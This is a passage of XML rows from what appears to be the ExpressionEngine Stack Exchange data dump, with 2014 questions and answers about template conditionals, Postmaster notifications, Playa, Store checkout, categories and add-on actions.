have&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;{exp:channel:entries channel=&quot;wedding&quot; dynamic=&quot;no&quot; entry_id=&quot;1&quot;}{calendar:date format=&quot;%m&quot;}/{exp:math formula='{calendar:date format=&quot;%d&quot;} - 5'}/{calendar:date format=&quot;%Y&quot;}{/exp:channel:entries}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Where the channel is wedding, and the grid field is calendar. Then the calendar:date is the date. Within the EE template, this will output the correct date I want the notification to be sent on. So if date entered is 6/11/2014 it will output 6/6/2014, the date the notification should be sent.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Then, to make sure no old notification get sent, I also added a conditional&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;{exp:channel:entries channel=&quot;wedding&quot; dynamic=&quot;no&quot; entry_id=&quot;1&quot;}{calendar}{if '{calendar:date format=&quot;%U&quot;}' &amp;gt; '{current_time format=&quot;%U&quot;}'}TRUE{if:else}FALSE{/if}{/calendar}{/exp:channel:entries}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Just to make sure the information being sent to the member isn't in the past.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Still, no notifications are sent? The only way I can get them to send is placing the specific date in, no relative, and not using math on the input.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;How can I get these things to fire 5 days before the date??&lt;/p&gt;&#xA;" OwnerUserId="2062" LastActivityDate="2017-02-23T21:33:54.327" Title="Postmaster Notifications not sending" Tags="|postmaster|objective-html|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="23553" PostTypeId="2" ParentId="23551" CreationDate="2014-06-09T16:58:11.517" Score="0" Body="&lt;p&gt;There are a couple of fieldtype add-ons which allow you to select a category. I've used &lt;a href=&quot;http://devot-ee.com/add-ons/wb-category-select&quot; rel=&quot;nofollow&quot;&gt;WB Category Select&lt;/a&gt; on a number of occasions with great success to do just what you're asking.&lt;/p&gt;&#xA;" OwnerUserId="197" LastActivityDate="2014-06-09T16:58:11.517" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="23554" PostTypeId="1" AcceptedAnswerId="23555" CreationDate="2014-06-09T18:41:37.790" Score="1" ViewCount="44" Body="&lt;p&gt;I'm using Safecracker Registration so that I can leverage Channels for my member data. I want to create pages that display member data in the frontend. Is there a security issue with using member ids (or even Channel entry ids) in the URIs? For example, &lt;a href=&quot;http://domain.com/foo/123/&quot; rel=&quot;nofollow&quot;&gt;http://domain.com/foo/123/&lt;/a&gt; -- the 123 is the member id or entry id.&lt;/p&gt;&#xA;" OwnerUserId="324" LastActivityDate="2014-06-09T21:52:48.330" Title="Security issues with putting member id in URI segments?" Tags="|channel-entries|entry|security|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="23555" PostTypeId="2" ParentId="23554" CreationDate="2014-06-09T21:52:48.330" Score="3" Body="&lt;p&gt;Nope, none whatsoever, those id's are simply unique identifiers, but are not meant to be private.&lt;/p&gt;&#xA;" OwnerUserId="366" LastActivityDate="2014-06-09T21:52:48.330" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="23556" PostTypeId="2" ParentId="23552" CreationDate="2014-06-09T21:55:05.117" Score="1" Body="&lt;p&gt;Couple things right off hand, but this type of complexity is a little outside the scope of what is provided outside of the box. This is why there is a Notifications API so you can build you own notifications with custom logic to determine when to send emails. You can create database tables to store when emails are sent, and have custom UI's for you to have different variables in your logic that aren't set in the code (for example). If it were me, I would extend the Notifications API and that way you can be sure that it will send when you want. It was built for this exact purpose.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;That said... It &lt;em&gt;might&lt;/em&gt; be possible to get it working using out of the box tools.&lt;/p&gt;&#xA;&#xA;&lt;ol&gt;&#xA;&lt;li&gt;&lt;p&gt;Using the relative date of &quot;-5 days&quot; would indeed make the email send right away. It works together with the specific date field. So if you plugin your entry date into the specific date, and specify &quot;-5 days&quot; it would subtract 5 days from your entry date and send it then.&lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;I am not 100% sure your extra conditional field will work. I think the more optimal way would be to extend the BaseNofication class and build your own logic to prevent it from being sent. This will be much more reliable in the long run.&lt;/p&gt;&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;" OwnerUserId="101" LastActivityDate="2014-06-09T21:55:05.117" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="23557" PostTypeId="2" ParentId="5941" CreationDate="2014-06-09T22:44:22.343" Score="0" Body="&lt;p&gt;Actually removing the curly brackets helped me:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;{exp:geofinder:member_results &#xA;  member_group=&quot;members&quot; &#xA;  limit=&quot;5&quot;  &#xA;  geoquery=&quot;{segment_3}&quot; &#xA;  radius=&quot;{segment_4}&quot;  &#xA;  latitude=&quot;member_latitude&quot; &#xA;  longitude=&quot;member_longitude&quot; &#xA;  distance_mode=&quot;miles&quot; &#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="3207" LastEditorUserId="115" LastEditDate="2014-06-09T23:06:13.073" LastActivityDate="2014-06-09T23:06:13.073" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="23558" PostTypeId="1" CreationDate="2014-06-09T22:58:54.763" Score="2" ViewCount="301" Body="&lt;p&gt;Suddenly, We are not able to edit and Channel Fields.&#xA;We are using: EE v2.8.1 - Build Date: 20140314 &lt;/p&gt;&#xA;&#xA;&lt;p&gt;If we go to: Admin &gt; Channel Administration &gt; Channel Fields &gt; Example Group &gt; Slider Image&#xA;and not even change any values but simply hit &quot;Update&quot; button&lt;/p&gt;&#xA;&#xA;&lt;p&gt;its giving error saying: disallowed key character&lt;/p&gt;&#xA;&#xA;&lt;p&gt;We did some google and we tried all different solutions: clearing Cookies, Cookie Prefix&#xA;but nothing is helping&lt;/p&gt;&#xA;&#xA;&lt;p&gt;any help or pointers to solve this issue will be of great help.&#xA;Also same error comes up if we edit any template and if that template has a word like name=&quot;fullname&quot;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;see screenshot attached for the page we are hitting update that gives us error.&#xA;&lt;img src=&quot;https://i.stack.imgur.com/6rxVy.jpg&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;" OwnerUserId="3206" LastActivityDate="2014-06-13T21:13:01.683" Title="Not able to Edit Channel Fields or Templates. Gives Error: disallowed key character" Tags="|control-panel|php-errors|codeigniter|channel-fields|" AnswerCount="2" CommentCount="4" ContentLicense="CC BY-SA 3.0" />
  <row Id="23559" PostTypeId="2" ParentId="23549" CreationDate="2014-06-09T23:05:31.343" Score="1" Body="&lt;p&gt;The &lt;a href=&quot;http://ellislab.com/expressionengine/user-guide/add-ons/channel/channel_entries.html#categories&quot; rel=&quot;nofollow&quot;&gt;&lt;code&gt;categories&lt;/code&gt; variable pair&lt;/a&gt; performs a loop. Always. If your entries has more than one category, it will show all of them. So, if you want to show just one, you have to &lt;a href=&quot;http://ellislab.com/expressionengine/user-guide/add-ons/channel/channel_entries.html#id14&quot; rel=&quot;nofollow&quot;&gt;&lt;code&gt;limit&lt;/code&gt;&lt;/a&gt; it.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Remember that &lt;code&gt;==&lt;/code&gt;, &lt;code&gt;!=&lt;/code&gt;, &lt;code&gt;&amp;gt;&lt;/code&gt;, &lt;code&gt;&amp;lt;&lt;/code&gt; or any other &lt;a href=&quot;http://ellislab.com/expressionengine/user-guide/templates/globals/conditionals.html#comparison-operators&quot; rel=&quot;nofollow&quot;&gt;comparison operator&lt;/a&gt; is available just on &lt;code&gt;if&lt;/code&gt; or &lt;code&gt;elseif&lt;/code&gt;. &lt;code&gt;else&lt;/code&gt; haven't operators. It executes on all possible exceptions to the previous conditions.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If you want to compare against several values at once, you gonna need something like an &lt;code&gt;IN&lt;/code&gt; operator, which isn't currently available on EECMS template language. But, it looks like, for your question, that you just cares about the category 38 to have a link. So, you don't need to test for the others.&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;{categories limit=&quot;1&quot;}&#xA;    &amp;lt;h4&amp;gt;&#xA;        {if category_id == &quot;38&quot;}&#xA;            &amp;lt;a href=&quot;{url_title_path='product-support/service-centers'}&quot;&amp;gt;{facility_title}&amp;lt;/a&amp;gt;&#xA;        {if:else}&#xA;            {facility_title}&#xA;        {/if}&#xA;    &amp;lt;/h4&amp;gt;&#xA;{/categories}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="343" LastActivityDate="2014-06-09T23:05:31.343" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="23561" PostTypeId="1" AcceptedAnswerId="23564" CreationDate="2014-06-10T00:19:39.207" Score="0" ViewCount="59" Body="&lt;p&gt;I'm using Exp-resso Store and need my products categorized (like a typical e-commerce site). What is the best way to categorize products? The product categories are n-level deep.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I don't see how to create parent-child relationships in EE Categories, though reference I've found on the Internet and here on SE seem to suggest that there is no limit to the levels of categories.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Or perhaps I should try creating a Channel that has a relationship field and try to mimic categories that way?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;My questions:&lt;/p&gt;&#xA;&#xA;&lt;ol&gt;&#xA;&lt;li&gt;Can EE Categories be nested? If so, how?&lt;/li&gt;&#xA;&lt;li&gt;Is it possible to programmatically populate EE Categories (e.g. via API, DataGrab, etc.)?&lt;/li&gt;&#xA;&lt;li&gt;Would using the relationship field to implement categories be a bad idea? I know I can populate this via DataGrab, which makes it a tempting solution for me (at least it'll be easy for me to populate -- and possibly easy to also assign products to their respective categories?)&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;" OwnerUserId="324" LastActivityDate="2014-06-10T04:29:34.307" Title="Categories for e-commerce: n-level deep?" Tags="|categories|category-group|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="23562" PostTypeId="2" ParentId="22513" CreationDate="2014-06-10T03:50:50.143" Score="2" Body="&lt;p&gt;You must use the channels and custom field groups provided by Calendar when it's installed.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;To create events in &quot;Calendar: Events&quot;, you need to create a calendar in &quot;Calendar: Calendars&quot; first.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If you uninstalled Calendar and want to reinstall it, make sure to delete everything from the old Calendar install before you do, this includes the old Calendar channels and the custom field groups created to be used with these old Calendar channels. The &quot;Timezone&quot; field not displaying anything might be caused by a lingering channel/custom field group. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;em&gt;Also make sure to upload the Calendar themes folder!&lt;/em&gt;&lt;/p&gt;&#xA;" OwnerUserId="884" LastActivityDate="2014-06-10T03:50:50.143" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="23563" PostTypeId="1" CreationDate="2014-06-10T04:08:31.547" Score="0" ViewCount="42" Body="&lt;p&gt;I've been looking but was unable to find an immediate answer within the Superseach documentation, but does Supersearch work with the new EE grid field?&lt;/p&gt;&#xA;" OwnerUserId="613" LastActivityDate="2014-06-10T07:38:28.493" Title="Solspace Supersearch grid compatibility?" Tags="|grid|supersearch|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="23564" PostTypeId="2" ParentId="23561" CreationDate="2014-06-10T04:29:34.307" Score="1" Body="&lt;p&gt;It's definitely possible to nest categories and use them in the URL structure. It does take some fiddling to get it to work and the deeper the nesting the more difficult it can be to template.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;That being said, there is usually an option to assign categories on import dependent on which module you use. I've seen an option for it in Solspace's &lt;a href=&quot;http://www.solspace.com/docs/importer/data_types/&quot; rel=&quot;nofollow&quot;&gt;importer&lt;/a&gt; module.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;This is the EE categories &lt;a href=&quot;http://ellislab.com/expressionengine/user-guide/cp/admin/channels/category_edit.html&quot; rel=&quot;nofollow&quot;&gt;documentation&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="166" LastActivityDate="2014-06-10T04:29:34.307" CommentCount="3" ContentLicense="CC BY-SA 3.0" />
  <row Id="23565" PostTypeId="1" AcceptedAnswerId="23567" CreationDate="2014-06-10T04:58:34.043" Score="0" ViewCount="50" Body="&lt;p&gt;I'm getting this message in &lt;strong&gt;EE 2.8.1&lt;/strong&gt; dev logs with &lt;strong&gt;Playa 4.4.5&lt;/strong&gt;:&lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;A template loaded on &lt;a href=&quot;http://dev.tear.org.au/projects/&quot; rel=&quot;nofollow noreferrer&quot;&gt;http://dev.tear.org.au/projects/&lt;/a&gt; is using the&#xA;  deprecated {parent:url_title} tag. Please use Playa’s var_prefix&#xA;  parameter instead.&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://expressionengine.stackexchange.com/questions/9426/error-playas-var-prefix-parameter&quot;&gt;This answer&lt;/a&gt; helped, but not enough.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I've seen the var_prefix docs concerning the module tags, but can't find info regarding the fieldtype tag, which is what I am using.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;My code looks like this (simplified):&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;{exp:channel:entries...}&#xA;    {project_content} &amp;lt;-- PLAYA FIELD&#xA;    {content limit=&quot;1&quot;}&#xA;        &amp;lt;h4&amp;gt;&#xA;            &amp;lt;a href=&quot;/projects/{parent:url_title}&quot;&amp;gt;{parent:title}&amp;lt;/a&amp;gt;&#xA;        &amp;lt;/h4&amp;gt;&#xA;    {/content}&#xA;    {/project_content}&#xA;{/exp:channel:entries}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;How would I need to modify my template to use the new parameter?&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Thank you&lt;/p&gt;&#xA;" OwnerUserId="291" LastEditorUserId="-1" LastEditDate="2017-04-13T12:49:23.763" LastActivityDate="2014-06-10T07:29:38.827" Title="var_prefix message in ee 2.8.1 dev log" Tags="|playa|2.8|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="23566" PostTypeId="2" ParentId="23549" CreationDate="2014-06-10T05:47:43.953" Score="0" Body="&lt;p&gt;You're along the right lines.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Let's break down your code section-by-section&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;{categories}&#xA;{/categories}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;This will work just fine.&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt; {if category id == &quot;38&quot;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;The correct variable name here is &lt;code&gt;{category_id}&lt;/code&gt; (note the underscore). Getting the variable names correct is imperative when using conditionals - because else you're checking against the wrong thing.&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt; &amp;lt;h4&amp;gt;&amp;lt;a href=&quot;{url_title_path='product-support/service-centers'}&quot;&amp;gt;{facility_title}&amp;lt;/a&amp;gt;&amp;lt;/h4&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;No problems here&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt; {if:else category_id == &quot;32|30|33|31&quot; &amp;amp;&amp;amp; category_id != &quot;38&quot;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;This is where it starts to break down. What you have effectively written is &lt;em&gt;&quot;if it's anything but 38 do this instead&quot;&lt;/em&gt;. But you've hard-coded that. What if category 34 appears tomorrow? You'd be better off going for a simple &lt;code&gt;{if:else}&lt;/code&gt; line. That does the same thing short-hand.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The second issue is that you use &lt;code&gt;{if:else}&lt;/code&gt; here, but you wrote it as a &lt;code&gt;{if:elseif}&lt;/code&gt; statement. Notice the second if there. That allows you to basically say &quot;&lt;em&gt;If the above conditional isn't true, try this new conditional instead&lt;/em&gt;&quot;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Additionally you're using piped values (&lt;code&gt;|&lt;/code&gt;) to check the &lt;code&gt;category_id&lt;/code&gt; variable. This is the syntax for selecting multiple entries but it wouldn't be outputted like that. Unfortunately in conditionals you'd have to go long hand with &lt;code&gt;{if:elseif category_id==&quot;32&quot; || category_id==&quot;30&quot; || [etc]&lt;/code&gt;} - that's no fun. For your reference though, doing a double-pipe (&lt;code&gt;||&lt;/code&gt;) in conditionals is to &lt;code&gt;OR&lt;/code&gt; what &lt;code&gt;&amp;amp;&amp;amp;&lt;/code&gt; is to &lt;code&gt;AND&lt;/code&gt;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;And so if we put it all back together, this code will do the job.&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;{categories}&#xA;    {if category_id == &quot;38&quot;}&#xA;        &amp;lt;h4&amp;gt;&amp;lt;a href=&quot;{url_title_path='product-support/service-centers'}&quot;&amp;gt;{facility_title}&amp;lt;/a&amp;gt;&amp;lt;/h4&amp;gt;&#xA;    {if:else}&#xA;        &amp;lt;h4&amp;gt;{facility_title}&amp;lt;/h4&amp;gt;&#xA;    {/if}&#xA;{/categories}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="96" LastEditorUserId="96" LastEditDate="2014-06-10T05:54:49.840" LastActivityDate="2014-06-10T05:54:49.840" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="23567" PostTypeId="2" ParentId="23565" CreationDate="2014-06-10T07:29:38.827" Score="1" Body="&lt;p&gt;You shouldn't need to prefix with Playa for what you're doing. You should just be able to use...&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;{exp:channel:entries...}&#xA;    {project_content}&#xA;        {content limit=&quot;1&quot;}&#xA;            &amp;lt;h4&amp;gt;&amp;lt;a href=&quot;/projects/{url_title}&quot;&amp;gt;{title}&amp;lt;/a&amp;gt;&amp;lt;/h4&amp;gt;&#xA;        {/content}&#xA;    {/project_content}&#xA;{/exp:channel:entries}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;The &lt;code&gt;var_prefix&lt;/code&gt; parameter comes in handy when you want to do things like pagination for your Playa entries. You need to prefix it then so that it doesn't interfere with the main entry's pagination. But in your example, it shouldn't be required.&lt;/p&gt;&#xA;" OwnerUserId="96" LastActivityDate="2014-06-10T07:29:38.827" CommentCount="3" ContentLicense="CC BY-SA 3.0" />
  <row Id="23568" PostTypeId="2" ParentId="23545" CreationDate="2014-06-10T07:36:04.450" Score="2" Body="&lt;p&gt;If this is the last step of the checkout as you mention then you shouldn't have a &lt;code&gt;next&lt;/code&gt; parameter in there as there is no next step. The &lt;code&gt;next&lt;/code&gt; and &lt;code&gt;return&lt;/code&gt; parameters can never co-exist in the same checkout tag as there's either another step to come in the a multi-step checkout process or it's the end of the line and you need to tell store where they should be sent for their order confirmation.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Also, you'll need to ensure to the name of your submit button is changed accordingly. So on the last step of the checkout, instead of calling it &lt;code&gt;next&lt;/code&gt; you need to call it &lt;code&gt;submit&lt;/code&gt;:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;input type=&quot;submit&quot; name=&quot;submit&quot; value=&quot;PLACE YOUR ORDER&quot; class=&quot;button alert&quot; /&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="422" LastActivityDate="2014-06-10T07:36:04.450" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="23569" PostTypeId="2" ParentId="23563" CreationDate="2014-06-10T07:38:28.493" Score="1" Body="&lt;p&gt;As per the comparison tool at &lt;a href=&quot;http://www.solspace.com/software/detail/super_search/&quot; rel=&quot;nofollow&quot;&gt;http://www.solspace.com/software/detail/super_search/&lt;/a&gt; Solspace suggest that &lt;strong&gt;Low Search&lt;/strong&gt; would be the better tool for Grid or Matrix searching.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Details about Low Search can be found at &lt;a href=&quot;http://gotolow.com/addons/low-search&quot; rel=&quot;nofollow&quot;&gt;http://gotolow.com/addons/low-search&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="96" LastActivityDate="2014-06-10T07:38:28.493" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="23570" PostTypeId="2" ParentId="22496" CreationDate="2014-06-10T07:48:33.220" Score="3" Body="&lt;p&gt;That sounds like something Store could handle. Essentially you're able to sell any Channel Entry so you just need to add our single Store Product Details Field to any Channel Group to make it sellable and everything else fits right into EE and your desired workflow. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;The only thing to keep it mind however is that if you have one product available at multiple events then each of those would require a different stock level. In this case you couldn't accomplish this with relationships because each 'product' can only have a single stock level. You'd need to list the product for each event but you're still able to organise this however you prefer to, whether it be to have a Category for each event or a Channel etc. It would essentially mean having duplicate products in the system but this will allow you to firmly control the stock for each event and satisfy your 4th point above ensuring more aren't sold per event than are available. &lt;/p&gt;&#xA;" OwnerUserId="422" LastActivityDate="2014-06-10T07:48:33.220" CommentCount="3" ContentLicense="CC BY-SA 3.0" />
  <row Id="23571" PostTypeId="2" ParentId="23545" CreationDate="2014-06-10T07:51:24.540" Score="1" Body="&lt;p&gt;I can see that your form is submitting to hidden a php script ,If this is so this is incorrect because now you are not processing you tags with any of stores/EE methods unless you are doing some magic inside your script that allows the stores/EE tags to be parsed.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;You have to submit your form to the next ee template and not a custom script.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;hope this helps &lt;/p&gt;&#xA;" OwnerUserId="3024" LastActivityDate="2014-06-10T07:51:24.540" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="23572" PostTypeId="2" ParentId="23543" CreationDate="2014-06-10T07:53:23.427" Score="3" Body="&lt;p&gt;I would advise that you built it into an Omnipay gateway.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Omnipay is the payment provider library that powers Exp:resso Store 2 and so by building it for Omnipay it will work on Store.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;They have a GitHub with examples and documentation &lt;a href=&quot;https://github.com/omnipay/omnipay&quot; rel=&quot;nofollow noreferrer&quot;&gt;https://github.com/omnipay/omnipay&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If you decide to go down that route, the ExpressionEngine Answers website wouldn't be the place to get help. Instead you can use StackOverflow with the tag &quot;omnnipay&quot; and they'll be able to assist there.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://stackoverflow.com/questions/tagged/omnipay&quot;&gt;https://stackoverflow.com/questions/tagged/omnipay&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="96" LastEditorUserId="-1" LastEditDate="2017-05-23T12:37:12.123" LastActivityDate="2014-06-10T07:53:23.427" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="23574" PostTypeId="2" ParentId="22441" CreationDate="2014-06-10T08:14:46.627" Score="1" Body="&lt;p&gt;The 'Free Shipping' checkbox on the Publish/Edit screen is obviously the best way to do it on a per-product basis but if you wanted to include an extra failsafe then it could be an option to create a Shipping Method with a 'Free Shipping' rule. You could set the shipping rates to 0 in that rule but bear in mind that this applies &lt;em&gt;per order&lt;/em&gt; and not &lt;em&gt;per product&lt;/em&gt;. So if there's a chance that someone could add both a physical product as well as a course/class to their cart in the same checkout then it would cause a problem. You could then loop through the cart contents and if it contains a course/class (identified by category, product ID's, SKU's etc) then automatically set the shipping method to 'Free Shipping' in the templates.&lt;/p&gt;&#xA;" OwnerUserId="422" LastActivityDate="2014-06-10T08:14:46.627" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="23575" PostTypeId="1" AcceptedAnswerId="23584" CreationDate="2014-06-10T08:44:38.340" Score="1" ViewCount="8219" Body="&lt;p&gt;I recently moved a site from local to staging and when I go to the front end or the back end (CMS) it throws this error...&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;Unable to load the requested class: cache&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Carl Crawley tried to help me via Twitter (&lt;a href=&quot;https://twitter.com/madebymayo/status/476274119097733120&quot; rel=&quot;nofollow&quot;&gt;https://twitter.com/madebymayo/status/476274119097733120&lt;/a&gt;) by suggesting that it is quite possibly that my .gitignore file is blocking anything to do with cache...&lt;/p&gt;&#xA;&#xA;&lt;p&gt;So I checked the .gitignore file and there is no reference to any cache files.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I'm using Tower &amp;amp; Beanstalk to run git and deploy. Is there anything &lt;em&gt;default&lt;/em&gt; in these two that is causing a file not to upload.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;Is there anyway of knowing which file it needs, so I can just manually upload it?&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I'm running EE 2.8.1 and &lt;strong&gt;I did notice they added something to do with &lt;em&gt;cache&lt;/em&gt; in this version. So maybe thats it. Is there anyway of disabling this?&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;http://ellislab.com/expressionengine/user-guide/optimization/caching.html#caching-drivers&quot; rel=&quot;nofollow&quot;&gt;http://ellislab.com/expressionengine/user-guide/optimization/caching.html#caching-drivers&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;EDIT: I changed the cache from file to dummy. I also reuploaded ALL the files via FTP without any Gitignore files interfering with the transfer. I still get this error. Is it something on the server I could change?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Thanks!&lt;/p&gt;&#xA;" OwnerUserId="362" LastEditorUserId="362" LastEditDate="2014-06-10T09:41:46.557" LastActivityDate="2014-07-01T04:10:07.207" Title="Unable to load the requested class: cache" Tags="|error|cache|" AnswerCount="2" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="23576" PostTypeId="1" AcceptedAnswerId="23577" CreationDate="2014-06-10T08:59:06.863" Score="3" ViewCount="182" Body="&lt;p&gt;What is the correct way to add a new action to the current list of actions?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Is there a specific EE method to add a new action? Or is it just direct database manipulation(that is, add it via SQL)?&lt;/p&gt;&#xA;" OwnerUserId="636" LastActivityDate="2014-06-10T19:08:15.787" Title="Proper way to add a new action?" Tags="|action|" AnswerCount="1" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="23577" PostTypeId="2" ParentId="23576" CreationDate="2014-06-10T09:28:33.200" Score="5" Body="&lt;p&gt;Usually it's done on the install method of your addon. Best practice is to take advantage of &lt;a href=&quot;http://ellislab.com/codeigniter/user-guide/database/active_record.html&quot; rel=&quot;nofollow&quot;&gt;ActiveRecord&lt;/a&gt; and a db-&gt;insert:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;$data = array(&#xA;    'class' =&amp;gt; $this-&amp;gt;class,&#xA;    'method' =&amp;gt; $method&#xA;);&#xA;&#xA;ee()-&amp;gt;db-&amp;gt;insert('actions', $data);&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;You don't need to specify an ACTion ID as this is auto incremented.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;You can find a bit more information in the docs for &lt;a href=&quot;http://ellislab.com/expressionengine/user-guide/development/module_tutorial.html#installation-function&quot; rel=&quot;nofollow&quot;&gt;Module Installation&lt;/a&gt;.&lt;/p&gt;&#xA;" OwnerUserId="422" LastEditorUserId="422" LastEditDate="2014-06-10T19:08:15.787" LastActivityDate="2014-06-10T19:08:15.787" CommentCount="4" ContentLicense="CC BY-SA 3.0" />
  <row Id="23578" PostTypeId="1" CreationDate="2014-06-10T11:17:12.423" Score="3" ViewCount="3622" Body="&lt;p&gt;Where can i find sitemap on ExpressionEngine v2.4.0 so i can input it on webmaster tools&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If anyone knows where to find it, it would be very helpful&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Many Thanks&lt;/p&gt;&#xA;" OwnerUserId="3208" LastEditorUserId="96" LastEditDate="2014-06-10T13:47:24.847" LastActivityDate="2015-02-03T09:41:19.123" Title="Where can I find the sitemap.xml on ExpressionEngine?" Tags="|add-on|google-webmaster-tools|" AnswerCount="1" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
